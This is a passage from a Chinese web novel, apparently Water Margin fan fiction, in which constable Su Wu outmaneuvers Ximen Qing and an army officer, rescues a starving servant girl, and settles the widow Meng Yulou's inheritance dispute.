“你那妻子还要不要?”苏武再问。 “要要,肯定要。”成三连连点头。 “你说你走出这衙门之后,会是个什么后果?”苏武还问。 “我……我……”成三自然知道是个什么后果,已然满脸惊惧。 “行了,也不与你多说,你知道如今处境了,你先录个口供签字画押,若是稍后知县相公要问,你只管把事情照实说,往后由某护着你,兴许你还真能躲过此劫,最近你就在衙门里先躲躲,我让人把你妻子也接来一并躲个风头。” “知晓知晓,小人知晓,唯有都头才能护得小人周全。”成三连连磕头,眼巴前看,他已然也是无路可走了。 只待成三下去,自有人跟去做口供,武松在旁说:“哥哥是准备打官司了?” 苏武点着头:“咱是公家人,讲的是人情道理,更讲律法,官司要打,对付这些泼皮无赖,只要站在道义之上,事半功倍。” “哦……”武松点着头,好似也有了点长进。 一旁董坚,好似有话说,欲言又止几番了,此时终于说道:“都头,适才我不是怕,我只是一时没反应过来,再有下次,我一定冲在前头。” 这话,其实苏武是信的,良家子只是老实,不是没血性,便点头说道:“嗯,无妨。” 听到“无妨”二字,董坚心头一松,显然这一路上,对这件事心里纠结非常。 左右还有几个衙差,其实都是苏武的心腹,也是连连说道:“都头,适才你应该先一声令下,如此我等也好有个知晓……” “是啊,咱都听都头的,都头当说一声,一起上,咱们岂能慢那一步?” “武兄弟当真好武艺啊,三下五除二的事,咱反应慢了,上前去都寻不到人了。” 武松哈哈大笑:“这算什么,小打小闹,来日有机会啊,且让兄弟们看看某家真正的手段。” “都头也是凶悍得紧呢……以往倒也不见都头真与人动手,今日一见,好生了得。” “那是那是,就咱都头这身板子,旁人哪里经得住?” “行了……”苏武摆摆手,又说:“到衙门口等着吧,等那云参军到了,就迎进来。” 第12章 来啊,打二十大板 云理万来了,大腹便便,脸上也是横肉,一脸的凶恶,带着七八个军汉直入衙门正堂。 西门庆自也跟在其后。 苏武只笑:“看来西门大官人这买卖变数大啊……” 西门庆却不似头前模样了,昂头挺胸,折扇在胸口,说道:“云参将来了,自有分说。” 那云参将转头来看苏武:“苏都头,平日里只以为你是个规矩人,如今却咄咄逼人,以往倒是看走眼了!” 苏武与云理万,虽然互不隶属,平常里也见得不少。 苏武只答:“云参将,你最好啊,把你那胞弟带在身边,从军也无不可,若是还让他在市井厮混,来日怕是悔之晚矣。” 云理万本以为刚才话语能让苏武忌惮几分,没想到苏武还反将一军,做了个教训人的模样。 云理万着实有些惊讶,这苏都头打完虎之后,真是变了个人了? “去,传个信,就说本将前来拜会孟知县。”云理万平常里就是这么支使苏武的。 这意思就是要跟苏武的上官谈,懒得与苏武多掰扯。 虽然大宋朝到得如今,武官与文官已然完全不能相提并论,但至少明面上,参将云理万与知县孟义是一个层次上的人,苏武一个小吏,压根就上不得台面。 却不想苏武答道:“云参将只管往后衙去拜见就是,那里自有看门的小厮与你通报。” 云理万眉头一皱,这是怎么回事? 西门庆已然开口:“苏武,你好大胆子,竟是当真以为自己是个人物了?” 武松往前一步:“你又算个什么甚鸟?敢在我哥哥面前充大?” 西门庆看了看武松那捏起来的拳头,脚步不自觉退了退,只去看云理万。 云理万一时之间也好似没办法,总不能真的在县衙里大打出手,便是迈步往前,却有一语:“知县好见,小鬼却难缠……” 说着,一行人直往后衙去。 此时董坚又担忧起来:“都头,他们去了怕是一通乱说,知县若是听信他一面之词,怕是真要来怪罪啊……” 苏武不以为然:“这衙门里也有个内外之别,衙门里的事,知县相公是靠咱们……” 董坚点着头:“也是,都头刚刚立了大功,知县应当也不至于不分黑白。” 不得多久,知县孟义与参将云理万便来到了前衙大堂,孟义直接堂前官位落座,便扯着嗓子问:“到底怎么回事?” 这回董坚最快,连忙上前答话,把事情一通说。 孟义看了看众人,却问西门庆:“是不是这回事啊?” 西门庆又去看云理万,云理万上前答:“我那兄弟,是在街面上放一些印子钱,也无甚不合理,九出十三归的规矩,并不犯什么律例,欠债不还,逼迫一二,也算不得什么了不得的事。相公明察秋毫……” “可有逼人卖妻?”孟义再问。 “没有,万万没有。”西门庆立马答,笃定非常。 苏武不疾不徐说道:“欠债之人成三也在县衙,县衙外面好事者也不少,不乏亲眼目睹之人,要不要一一请来盘问?” 孟义听得苏武之言,看了看云理万,只等云理万说话。 云理万黑着脸,又看了看西门庆,他又怎么可能不知道其中,便是与孟义说道:“相公,这次啊,我那兄弟兴许是做得过火了些,倒也算不得什么大事,那般赌徒,本也不是什么好人,还请相公尊口,看在下官的脸面上,饶过这次,下次定然不敢再犯……” 孟义又看了看苏武,苏武却也点头。 孟义手一抬,有惊堂木一拍:“市井争闹,本是小事,小小惩戒一番也就过去了,把人放了吧,就这么定了。” 说完,孟义起身就走。 云理万先恭送孟义一礼,转头凶恶一眼看向苏武,便是拂袖而去,倒是真有几分大人物的模样。 西门庆自是不走,他得等着放人,但他脸上有了笑容,折扇又打开了:“看来苏都头威势也不多啊……” 苏武也笑,不答话,只说:“来人呐,去把那云理守提出来吧……” 董坚转头就去,拖拖拉拉把人提来,已然是过了好一会儿。 云理守也是大喜,看得苏武,立马说道:“苏武,咱们之间的仇怨,你可记住了,誓不罢休。” 却见苏武忽然开口:“来啊,打二十大板,再赶将出去。” 就看武松第一个上前把云理守摁在当场,董坚这回也快,就去取那水火杀威棒。 西门庆大惊:“你……你怎么敢?知县相公都说放人,你却还打?” “我兄长呢?我兄长呢?”云理守已然慌张,只管左右去寻兄长。 就看董坚当真拿着水火杀威棒在打。 便是一下,云理守就是个哭天喊地:“哎呀,我的亲娘啊……” 西门庆飞奔出衙门去,左右一看,哪里还有云参将,再听衙门里惨叫连连,西门庆赶紧又往衙门里进,直奔后衙去,去请见知县。 却是守门小厮说知县乏了,小憩去了,不便见人。 西门庆听着连连的惨叫又奔到前衙,对着苏武喊道:“苏武,安敢如此!还不快快停手?知县相公都下令放人了!” “知县相公不也说了吗?小小惩戒一番就过去了,这不就是在惩戒吗?”苏武笑道。 “你你你……知县相公不是这么说的,他说小小惩戒一番也就过去了,街面上已然惩戒了!” 西门庆急不可耐,因为这二十杀威棒若是打实了,云理守怕是几个月下不来床,却也忽然会意到了点什么,这个知县相公是怎么回事? “啊?是这个意思?要不你再去问问知县相公?”苏武笑道。 “你你你……” “西门大官人别急啊,买卖本来谈好了,你非要出尔反尔,这不麻烦了吗?”苏武是会谈买卖的。 “好说好说,别打别打,我这就回头去取钱来。”西门庆眼前,唯有赶紧先把云理守救下再说。 因为云理守不仅是他的合作伙伴,还是金主之一。 “打了十个板子了,这样吧,等你两刻,两刻之后你不到,还剩的十个板子就一次打完了。”苏武答道。 西门庆拔腿就奔…… 再看那云理守,已然昏死当场。 第13章 真真是个人物! 董坚持棒站在一旁,问:“都头,这般知县相公不会怪罪你吧?” 苏武只答:“知县相公在判定之前先看了某,便是问某的意见,又留了话口,便是任某来发挥了……” “啊?”董坚自是不明白。 武松也挠头在想,这事,得动脑子。 孟义这人,谈不上好人坏人,他只是把这官当明白了,官场老油子一个。 他显然也不愿参与这些小事,苏武若是要与人争斗,便随苏武去,若是不愿争斗,也随苏武去处理。 衙门里真正奔走之事,孟义也知道是谁在做,头前舍命打虎的功劳,孟义也当真看重几分,也如他能想方设法放杀了好几人的武松一命这件事一样,都是一个道理。 这些事,其实与知县这个官无关,至于参将什么的,在孟义看来,武夫算个什么玩意? 苏武显然太知道孟义是个什么样的人了。 不得多久,西门庆回来了,带着人抬来一个箱子,再也不笑了,只说:“都头,这是买虎骨虎鞭的五百贯,你点点……” “那就不点了,你把人带回去吧。”苏武却有笑,大手一挥。 见得苏武当真放人,西门庆才说了句狠话:“苏都头当真不把云参将放在眼里?” “秉公执法而已……”苏武只笑。 西门庆不多言,让小厮抬着云理守就走,得赶紧抬到云参将家中去。 还有苏武话语:“虎骨虎鞭记得速速来取。” 西门庆没有答话,只管快走,心中还有满腹疑问,这到底是怎么给人得罪了? 这都是怎么回事?好好的日子怎么说变故就变故了? 只待西门庆带着小厮把昏死的云理守抬出衙门口,衙门口聚了不少好事之徒,一个个凑前来看。 西门庆满脸恼怒:“滚,看什么看?不想活了吗?” 众人自也稍稍退去。 只待西门庆走远几步,衙门口处立马一片嗡嗡之声。 “真打了?” “看来是真,苏都头怎么忽的这般……” “这般什么?” “苏都头兴许真是看不过眼了吧,西门庆这一伙人,着实乃咱阳谷县里真正的大虫,我看该打。” “是该给他们一点颜色瞧瞧了,也教他们收敛几分才是……” 却听有一人仿佛看透了一切,幽幽一语:“苏都头啊,如今看来是个好人,是条好汉,只可惜苏都头势单力薄,形单影只,怕是下场不好啊!” 众人皆去看那幽幽说话之人,倒也还真没人出言争辩什么,皆是稍稍叹息,还有几分无奈…… 衙门里,事情刚刚落定,后衙里来了个知县家中小厮,与苏武躬身一礼:“相公请都头后衙一叙。” 董坚立马一脸担忧,却见苏武摆摆手:“无妨的……” 苏武随那小厮去了。 董坚来问武松:“武兄弟,都头他……” 却是话没说完就止住了,大概是不知怎么说。 “他怎么了?”武松反问。 “就是吧……都头如今变得怪怪的了……”董坚找到了形容词。 “哪里怪了?我看不是挺好的吗?心中有气,就是要出,憋憋闷闷算什么好汉?什么狗屁参将,还能怕了他们?”武松答着。 “唉……与你说不清楚。”董坚无奈。 后衙里,知县孟义备了茶,还让苏武落座。 两座之间,有个小几,小几上有一个棋盘,孟义问苏武:“你看得懂这棋吗?” “看得懂一二……”苏武点着头,不是说笑,是真看得懂一二,上大学的时候受室友熏陶了几下,室友是定段少年。 孟义也稍稍有些惊讶,只说:“以往只以为你是个本份办差的,里里外外奔走,你也是尽心尽力,也是本官来得时间不长,对你不甚了解啊……” “相公直言就是……”苏武答着。 “倒也没什么要直言的,你有意与他们争点什么,你自去争你的,本官几十岁的人了,兜兜转转各地州县也有二十余年,见的人见的事也多……” 孟义说着,往那棋盘上点了一子,又说:“从知道你舍命打虎之后,倒也才知晓你也不是寻常人,你看看,这一子落得如何?” 苏武当真去看,认真看了几番,也就知道孟义也不是什么棋道高手,只算一个寻常爱好者,便当真答道:“此处更妥。” 孟义认真看了看,惊讶一语:“嘿……你还真会!真真是个人物!” 其实,苏武知道自己其实会得也不多,只是时代不同,接触的信息不同,后世的围棋研究与教学水平,远超古代任何时期,远超。 苏武开口了:“相公,他们这么闹下去啊,不管管,怕是真要闹出人命,到时候若是有人不忿,捅到知府衙门里去,怕是难以收场,所以必须管一管了……” 孟义抬头看了看苏武,又去看棋盘,随口问道:“你这想得也不错,老夫为官,不求有功,但求无过,二十余年都是这么过来的,这件事,你做得好。想来你知那云理万也是背后金主?” “想来想去,若不是有利益其中,他一个参将,偏偏让胞弟混迹市井,也唯有这个缘由了,也因为云理万,所以他们行事起来,越发肆无忌惮了。”苏武答道。 孟义点点头:“这衙门里,内内外外井井有条,只当是你老实本分兢兢业业,原来也是你有几分智谋其中。” “不敢当……”苏武谦虚,也不是谦虚,以往的苏武,还真就是老实本分加兢兢业业。 “过些时日,与你一趟差事到东平府去。”孟义忽然这么一语。 “多谢相公抬举。”苏武马上会意过来了,想要扳倒云理万,还真就得去东平府,孟义还真就是在帮他。 转头又一想,这个差事应该也不是孟义临时弄出来的,水浒故事里,武松当都头之后,也走了一趟外差。 就因为这一趟外差,潘金莲勾搭上的西门庆,毒杀了武大郎,武松回来之后,查探清楚缘由,就是个大开杀戒。 这趟差事,如今轮到苏武身上了。 孟义正摆着手:“也不必谢老夫什么抬举,终究是这阳谷县啊,你与老夫一条心才是,旁人帮衬不上这衙门里的事,过几年说不定老夫就致仕回乡了,只愿过些安生日子。” 孟义如此说着,又抬头:“你随老夫手谈一局?” “许久不下棋了,怕是下不好。”苏武是实话实说。 “胜负无妨,打发时光而已。”孟义已然在捡棋盘上的棋子。 苏武也帮忙去分拣黑白,各自归盒,也说:“怕是不敌相公,先落子,不恭了。” “哈哈……不必相让……”孟义笑着,看苏武先落子,先落子反而是尊敬对方。 苏武还真是许久不下,手生。 孟义大概平常都用这个来消磨时间,手熟非常,两人论棋力,都不算强,是个半斤八两,但苏武已然在落下风。 孟义也看出来了苏武真是手生,便说:“无事啊,多来下下棋。” “相公所请,岂敢辞?” “你说起话来,条理清晰,用起词来,还算得几分文雅,看来是读过书啊?”孟义又问。 “读得不算多。” “哈哈……老夫倒是越发喜欢你了。”孟义笑出几分开怀,他背井离乡在外地为官,所求不多,一是平平安安,二是赚些钱财,三是过得舒坦有乐子。 一局收官,倒也不必数目,苏武输了。 孟义似乎也并不在乎输赢,只说:“棋力不低,多下就是。将来你若真有那份运道,真能接触到达官显贵之人,有几分言谈举止,再有一手棋力在身,便也进得去读书人的眼中,也少几分看轻。” 孟义这话,还真有几分真诚,似也觉得苏武将来说不定真有几分大成就,所以出言提点一二。 大宋朝,是历朝历代中,最赤裸裸的万般皆下品,惟有读书高。 “多谢相公教诲。”苏武点着头,似也对这个老官油子多了几分好感。 “不谈什么教诲,人老了,自是愿与人为善,与人结善缘,帮人就是帮己啊……”孟义摆着手,他兴许真的活明白活通透了。 苏武笑了笑:“只愿不负相公这份看重。” “那就是你自己的事了。”孟义笑着答道。 第14章 他妈婢也 从衙门里出来,衙门口还有一些人没走,见得苏武出来,一个个都用奇怪的眼神看着苏武。 苏武也被看得一愣一愣的,这奇怪的眼神表情,他还真感受不到是什么情绪与感情。 苏武只抬手打个招呼:“诸位,散了去吧……” 说着便也着急出门去,武松与董坚相随,要去做一件事,买房,买家具,买个能做饭的厨娘。 这些事,都要去找牙人,自己去寻,费时费力。 哪里有牙人呢? 自是武大郎家隔壁小茶楼的王婆,也是故事里那个撮合西门庆与潘金莲的王婆。 “哎呀喂,这不是苏都头吗?老身还说怎么家中有喜鹊在叫呢,原来是苏都头今日要上门来,快坐快坐,老身亲自沏好茶。” 王婆,一个牙尖嘴利浑圆敦实的老泼妇,说起话来眉飞色舞。 苏都头自也没什么好脸色,只说:“典一间临街的屋,再寻个伺候人的小娘,要多会几样饭菜的……” “诶呦,这般大的买卖呢?那都头可是寻对人了,都头吃茶,这事到得老身这里,那不是手到擒来吗?只消待得老身出门片刻,先带都头去看屋,再带都头去看伺候人的小娘。” 王婆是真没想到今日会有这般大生意上门来,高兴得手舞足蹈。 “你速去速归就是。”苏武摆摆手。 王婆把茶水摆好,马上出门去。 苏武便又看武松:“二郎啊,我那老屋,旧是旧了些,但也不算太差,你若是要搬出来住,便送与你住,如何?” 武松摇摇头:“哥哥美意,只是我这刚刚团圆,自不好与兄长分家的……” 苏武只笑了笑,这事吧,既然说出口了,那必然就是武松有所需。 要不得几日,武松就得搬出来住了,原因就是他家那嫂嫂潘金莲,如狼似虎吓人,武松感受一回之后就得远远躲着了,就要找地方住了。 “嗯,你只记下,愿住就去,不愿罢了。”苏武点着头。 却也看了看隔壁武大郎的家,不免认真在想这件事到底该如何解决? 难道真就看着西门庆与潘金莲的故事发生? 看一看当面武松,再想想大早上为弟弟用心良苦,特意给自己送炊饼的武大郎。 这对兄弟,着实命苦,兄弟感情,更是感人肺腑。 本也是抢了武松的机缘,此番也该回个情分,如此,心中无亏。 西门庆与潘金莲的事,便不能发生。 再看看隔壁,苏武打定主意了,看来动作还要快一些才是,先把西门庆搞定。 至于潘金莲,若无人真正费心费力从中挑拨引诱,她还真不一定有那份天大的胆子。 这个王婆也是个祸患,她就是那个主要的挑拨引诱之人,暗地里她也不知做了多少这种伤天害理的事。 这边,苏武在等房屋信息。 云理万在府中,正是大发雷霆:“岂有此理,一个小小都头,也敢如此欺辱本将!” 西门庆在一旁:“参军,我却是觉得这事吧,那知县怕也有授意,就怕那知县护着苏武。” “孟义那厮,本属泥鳅的,他当不曾有何授意,他只是睁一只眼闭一只眼罢了。”云理万倒也门清。 “这就好这就好,还怕那知县护着他呢,没有知县护着,苏武算个什么东西。”西门庆心中一松,早已是咬牙切齿。 西门庆是有钱,但此时并不十分豪富,五百贯对他来说着实也是一笔巨款,岂能不心疼? 西门庆真正的豪富,还需要未来的几番机缘,原始积累主要还是靠女人。 “你有什么主意没有?”云理万问西门庆。 西门庆立马点头:“不知参军麾下,可有那身强体壮身手不凡之辈?” “嗯?”云理万疑问。 “主要是那苏武啊,还真有几分武艺在身,以往不曾显露,只以为他是个身强体壮罢了,如今才知他身手不凡,他身边还有一个大汉,还不知叫什么名,也是武艺高强,要对付起来,一般人还真不是对手。” 西门庆答得很认真,已然就是在绞尽脑汁想计策。 “武艺高强?有多强?”云理万也是习武之人,麾下军汉也有四五百号。 便是一营厢军兵马之数,至于这四五百号多少是空饷,唯有云理万自己知道了。 “寻常十几个人,近不得身。”西门庆答着。 云理万便是面色一沉:“这般身手?倒是麻烦。” 可见那几百号厢军之中,还真的拔不出来高个子,大宋朝武备废弛,也不是一朝一夕的事。 西门庆也是面色一沉。 却是云理万立马又说:“不过,也不是没有办法,只待本将一封书信去东平府,既然江湖事,那就江湖了,请个人来,定把苏武打个手断脚折。” 江湖事江湖了,主要也是如今局面,报仇之事还真只能暗地里来,明面上还真不好动那县衙都头苏武。 “那人可靠得住?”西门庆问道。 “此人身长近丈,腰阔数围,一身好武艺,江湖盗匪出身,而今私下里也做私贩马匹营生,以往在东平府结交此人,只要给得足够银钱,他自办得妥妥当当,他麾下也还有一批好手,杀人越货也不在话下。” 云理万也还真有路子。 “何人如此了得?”西门庆问。 “倒是有个江湖诨号,唤作‘险道神’,名叫郁保四。”云理万答着,既然说到这里了,这跑腿的活显然就是眼前西门庆了。 “我这就去,这就去。”西门庆急不可待,又问:“不知到了东平府,往何处去寻?” “你拿着本将书信,定不要经手旁人,你悄悄去,快去快回,只管去东平府的车马行里问就是了,报某名字,他自会见你。” “那就请参军快快写信。”西门庆已然把苏武恨入骨髓了,那是一刻都等不得。 眼前云理万还只是要让苏武手断脚折,西门庆只想着既然请得这般凶人来,杀了苏武最好,杀之而后快,大不了多给钱就是。 这也是西门庆在阳谷县的脸面,他也靠这张脸面在阳谷县做营生,这张脸面不挣回来,不让人知道他西门大官人的厉害,往后还真不好营生了。 反正险道神郁保四这般江湖大盗,查必然是查不出来痕迹的。 云理万倒也不拖沓,想来也是心中恨极,提笔就来写。 西门庆拿着书信就出门去,心中只想,最好是当场就看到苏武横尸街头。 那边,苏武正跟着王婆看房子,看得几间,已然就挑上了一间,就在自己老屋不远,这也是苏武挑中的原因之一。 再去挑小娘,这次在王婆的小茶楼里挑,王婆带来一大批,一张嘴个个夸,这个也好那个也棒。 其实,眼前都是苦命人。 只看一个年纪最小,不过十三四岁,破衣烂衫,骨瘦如柴,好似随时随地就要晕倒了去。 苏武抬手一问:“这个会做饭菜吗?” “会,女儿家,岂能不会做饭菜?自小就学,好手艺。”王婆直接夸,一张嘴全凭她上下说。 给钱,苏武爽快非常,挑选这个,主要是怕这姑娘可能真会马上饿死。 王婆接过钱,两笔钱一起给,屋钱二百一十贯,人价八贯,王婆自是有抽成,已是喜上眉梢:“还不磕头,还不见过主人?” 那小姑娘往地上一跪,磕头,轻声细语:“拜谢主人……” “好了,随我走吧。”苏武起身就去。 小姑娘怯生生跟在身后。 只待走得片刻,忽然身后小姑娘开口了:“主人,其实奴家,不曾见过什么像样的好饭食,哪里又做得来……” “啊?”苏武转头去,是这个道理啊,都瘦成这样了,眼看着就要饿死的人了,能见过什么吃过什么?想来也是吃糠咽菜都混不到一日两餐的人,怎么可能擅长做饭? “主人息怒。”小姑娘只看高大非常的苏武虎目一张,便是吓得连连颤抖。 “不关你事。”苏武摆摆手,转头就骂:“他妈婢也,王婆,舌头当割了才是。” 他妈的,一个不慎被黑中介骗了,好在那房子还是个不错的房子。 一旁董坚在劝:“都头息怒,这些牙婆,都是这般。” 武松大怒:“直娘贼,待我回家时候,顺带好好教训一番才是。” “罢了,便先这样吧,不会可以学,这小娘再不找到主人家,怕是就要饿死了,就当做好事了。” 身后那小娘闻言,便是个低头落泪。 苏武暂时也懒得计较了,钱货两讫了,此时回头与一个泼妇吵架,没什么意义,那泼妇的生存之道,靠的就是撒泼。 即便武松去,当街打泼妇,武松响当当一条汉子,大概也是做不出来,到时候还惹得自己一身腥臊。 (兄弟们,给个投资、评论、票票吧,一定要追读啊,这些对新书格外重要,此时投资绝对赚起点币,拜谢了!) 第15章 都头辛苦,要不吃杯茶再走? 苏武先把那不会做饭的厨娘带回新家,然后留了一些铜钱,只让她自己上街去买一些生活用品,也让她自己先填饱肚子。 然后三人便往衙门里回。 只走到半路上,就看到一处不小的院子门前,正围着一圈人,里面吵吵闹闹,显然又是治安案件。 身为阳谷县罪恶克星,苏武又岂能回避,便往人群里去。 想来也是家长里短的事,先听个基本了解才好出手。 人群之中,就看一个老汉正在宅院门口跺脚捶胸,破口大骂:“孟玉楼,你这个克杀亲夫的天杀人,你只躲着不出来,你想霸着我妹夫这万贯家财,想都别想,便是我日日在这里守着,这宅子里出去了一样值钱东西,我便与你誓不甘休!” 苏武听懂第一个细节,遗产纠纷。 却忽然想起“孟玉楼”这个名字,这名字好像有点耳熟。 那老汉接着骂:“别看我那短命妹夫去得早,也别看我那妹夫胞弟不过十岁,这杨家的产业,那就是杨家的,一分一毫也不会让你这个克夫之人带走。” 苏武听来,关系好像也理清楚了,再结合一下情况,便猜,这个孟玉楼是本地有名的布商杨宗锡的老婆? 杨宗锡死了? 应该是死了,年纪不算大,就这么死了,好似也没留个一儿半女的。 但留了个十岁的弟弟,骂人的老汉是杨宗锡的妻兄,也就是舅子,那肯定应该是杨宗锡头前老婆的哥哥。 这关系还真复杂。 主要问题就是杨宗锡太有钱了,就看这家宅,便不是一般人家。 按理说,这骂人老汉也没资格继承家产,但他这么奋力来骂,想来也不外乎想分一杯羹。 杨宗锡也是个倒霉催的,偌大一份家业,死后,无儿无女,弟弟十岁,留个妻子孟玉楼,还真就是留了一块好肉等群狼。 那老汉还在骂:“你若是敢背着偷汉子,看我不打死你这个破烂货……” 苏武脑海中忽然灵光一现,这事,怎么听得这么熟悉? 一个布商留了一个遗孀,一个年纪轻轻的富婆满身是钱,这事刚好又发生在这个地界,这个地界里还有一个西门庆。 苏武立马恍然大悟,这不是西门庆的发家之路吗? 这孟玉楼最后不是被西门庆骗去了吗? 西门庆不就是这么一步一步吃人血馒头,才真正崛起成一方豪富的吗? 罪恶克星苏武已然开口:“那汉子莫要当街厮骂,成何体统!” 只待众人回头来看,原道是阳谷县的苏都头,众人连忙让路,让苏都头走进去。 那骂人老汉也是立马闭嘴,与苏武躬身一礼:“见过苏都头。” “你唤个何名啊?何故在此厮骂?”苏都头问道。 “小人张四,便是为了守住去世的亲妹一份家财,所以才在此厮骂。”张四答得挺好。 “这里是杨员外家?”苏武明知故问。 “正是正是,正是此事啊,可怜我那妹夫,说去就去了,无儿无女,唯有一个胞弟年幼,这份家财,若是不守,只怕落入旁人之手了。” 张四那是一个急公近义。 苏武看了一眼那大宅,大宅里真是没有一人出来应答,只让这张四在此一通骂,也是院里的人招架不住这般老汉骂街。 苏武看着张四,说道:“你这骂得也太难听了,好端端一条汉子,如那泼妇一般,看起来,像是你在欺辱人。” 张四连忙躬身:“不敢不敢,小人不敢。” 却见那宅子门口忽然出现一个童声:“都头,就是他欺辱人,欺辱我嫂嫂,他就是想要钱,我嫂嫂不给他,所以他无事就上门来骂……” 苏武看去,宅门边处露出一个小脑袋,是一个小男孩,大概就是杨宗锡留下的十岁胞弟,也就是孟玉楼的小叔子。 张四立马说道:“都头,小孩子不懂事,他只管让那克夫之人哄骗得团团转,却不知谁是好人了。” “都头,张四舅就是坏人,嫂嫂是好人。”小男孩又把头露出来说。 苏武左右看了看,对着看热闹的人群说道:“都散了去吧,此事既然闹得如此难看,某自也要过问一二,张四啊,你随我进去,当面分说。” “啊?”张四愣了愣。 “怎么?你如此好心好意,急公好义,当面分说清楚,自也不叫人误会了,有何不妥?”苏武问道。 “好好好,那便一齐进去,与那孟玉楼当面对峙。”张四点着头。 说着,苏武一身公衣,带着武松与董坚,先入宅去。 就看那门后探头探脑一个小男孩,正一脸好奇看着苏武。 苏武抬手一挥:“去吧,把你嫂嫂请出来,就说县衙苏都头来了。” “哦,我知道你,你把景阳冈上的吊睛白额大虫给打了,他们都说你是英雄好汉,我嫂嫂这回可不怕了,你们去厅里坐,我去叫嫂嫂来。” 小男孩还真是个聪明伶俐模样,这几句话,还真就把苏武夸得挺像回事。 几人往厅里落座,张四却站在一旁。 只待片刻,就看一女子莲步款款走来,故事里也有话语来说: 长挑身材,粉妆玉琢;模样儿不肥不瘦,身段儿不短不长。面上稀稀有几点微麻,生的天然俏丽;裙下映一对金莲玉足,果然周正堪怜。二珠金环,耳边低挂;双头鸾钗,鬓后斜插。但行动,胸前摇响玉玲珑;坐下时,一阵麝兰香喷鼻。恰似嫦娥离月殿,犹如神女下瑶阶。 苏武打眼看去,只觉得这孟玉楼还有一种端庄大气之感。 “见过苏都头,见过张四舅。”孟楼玉福礼在拜。 张四已然开口:“都头可都瞧见了,偌大家业,屋里除了几个下人,就是一个孩童与她,外头可还有布庄与染坊,这般家业,小人岂能不上心看着些?一个不慎,可不知落谁人手里去了。” 苏武去看孟玉楼,孟玉楼只是个低头:“张四舅何必这般作贱人来?” 这事吧,其实简单。 苏武又左右看了看,忽然开口一喊:“张四!” “小人在呢。”张四浑身一震。 “要让你往后不来撒泼骂人,多少钱?”苏武直接问。 “啊?小人……小人……” “直白说,这里也不是门口街面,也无旁人了,你每日来骂也是辛苦,我帮你把钱要到不就行了?” 苏武说着,转头又去问孟玉楼:“上次他来是要多少钱?” 孟玉楼便也就答:“回都头话语,四百贯。” 苏武一听,从座位上站起:“你这老汉,真是好大的口气,你要这么多钱做棺材板呢?这杨家便是再怎么着,与你一个前妻娘舅有何干?你若说留了个外甥也还罢了,外甥也无,人家杨家也还有香火,你便开这么大的口子,当真是欺负人来的?” “这……这……小人只是吓唬他们而已,便是不想让这娘们哄骗小叔,败了家业。”张四连忙找借口。 苏武又看了一眼站在孟玉楼身后那个伶俐小子,说道:“这样吧,你总归是想弄些钱财去,如此才能心平,你妹妹也是嫁到杨家来的,我做个数,你看行不行。” “都头说说看……”张四已然面有喜色,终归是弄到钱了。 “五十贯,够你攒好几年的留存了,往后莫要再上门欺辱长嫂幼叔了。” 苏武还是想把这件事解决,合理合法合情的手段来解决。 苏武也问孟玉楼:“你觉得如何?” 孟玉楼似也不敢多看苏武,只是点了点头:“只要张四舅往后放过奴家与小叔,五十贯就五十贯吧……” 只是那张四舅喜色稍稍退了去,五十贯是多,但着实没到他心中满意的数额,这妹夫家业可不是这么点鸡毛蒜皮。 “怎么?你不愿?”苏都头面色开始黑起来了。 “都头,能不能加点?小人感激不尽,若是多加点,小人定当重谢。”张四拱手说着。 “张四,你好大胆子!当真贪心不足,我苏武何许人也?县里哪个不知我苏武向来公正?你竟是还想贿赂与我,我看五十贯都多了,今日,你要么拿钱走人,要么,拿下大牢,你选一个吧。” 这般泼皮,还是要来点硬的。 张四看了一眼苏武怒起来的模样,便是面色发白,这位都头,近来可了不得,景阳冈打虎且不说,今日更是沸沸扬扬在传,连云参军的胞弟也被打得屁股血肉模糊…… 只看张四吓得连连点头:“五十贯足够,足够足够了,多谢都头。” 苏都头左右看了看:“取钱来,当面见证,还要立个字据,签字画押,如此,若是还有此事,定不轻饶。” 张四一脸苦色,却是一句不敢多说,连看都不敢多看苏武。 再看那孟玉楼,先起身,又拍了拍身后小叔子的肩膀,她先福了一礼:“拜谢都头。” 身后小叔子也上前来行礼:“我就知道,苏都头肯定是个好人,嫂嫂以后再也不怕了。” 苏武笑了笑:“快去取钱吧,纸笔皆带来。” 只等双方一手交钱,一手签字画押。 张四拿着钱,却又不那么苦了,脸上又有了喜色,终归也是一笔巨款,拿到手的才是自己的钱,赶紧先走。 苏武也起身:“孟娘子,我们也走了,若是还有此般事,你只管差人到衙门里来报。” 孟玉楼先是一福,幽幽来了一语:“都头辛苦,要不吃杯茶再走?” “对,吃杯茶。”小叔子也高兴说道。 第16章 我能会的,样样都教得哥哥也会 苏武闻言愣了愣,看了看孟玉楼,孟玉楼只管低头躲避眼神。 苏武又看了看小叔子,上前笑着拍了拍小叔子的脑袋:“你唤个什么名啊?” “我叫杨宗铁。”小孩子还真不怯场。 这家人,兴许是读书也不多,一个叫锡,一个叫铁。当然,也可能是这家人命不太好,子孙多夭折或早死,取个硬字,求个好兆头,只可惜,锡还是死得早。 “你小子不错,好好听嫂嫂话,多读书,也多学学经营之道,杨家就你这根独苗了。”苏武教导几语。 又去看孟玉楼,再说:“看你也不是那等无知妇人,家业虽大,支撑虽难,当也要忍辱负重,世道虽然不好,人心也恶,但在这县城里,终归有几分公义,往后若是遇到难事啊,就往县衙里来寻就是……” 这话一出,孟玉楼已然眼眶就红,眼神不再躲避了,抬头只去看苏武,又是一礼:“多谢都头大恩。” 说完,还与小叔子说道:“宗铁,快给都头磕头叩首。” 小孩子听话非常,立马跪下去磕头。 苏武又看了看孟玉楼,当真一脸可怜模样,叹了一口气:“茶就不吃了,走了。” 说着,苏武转身就去,那孟玉楼拉着小叔子就往外送,一直送到门口,站定,慢慢看都头远走。 “嫂嫂,那都头走远了呢,还看吗?”杨宗铁问。 “宗铁,世间终究有好人,都头大恩大德,你可一定要记在心中,往后有机会便要报答才是。” 孟玉楼转头来,教导着小叔子,也见得门口还有看热闹的人,微微低头带着小叔子再入宅去。 “哦,我知道的……”小叔子跟在身后点着头。 苏武已然走远,身后武松说道:“原来帮衬人是这么一种感觉,哥哥帮衬他们,我心中也觉得舒爽高兴。只是……” “只是什么?”苏武笑着问,便也知武松本性极好,也不是天生滥杀无辜之人,真是世道逼人向恶。 “若是我啊,那五十贯钱必然不给那张四,凭什么!”武松还真就有几分气性。 “缘由有二,一来呢,张四的妹妹,还真就是杨家的正妻,杨宗锡死了,张家也就无有依靠,遗产之中,合该打发一些,也算人之常情,杨家也不差这一点。二来呢,这般泼皮,与你我来说,自是不必在意,但是一个女儿家与一个孩童,哪里日日防范得住?也算花钱消灾。” 苏武解释着。 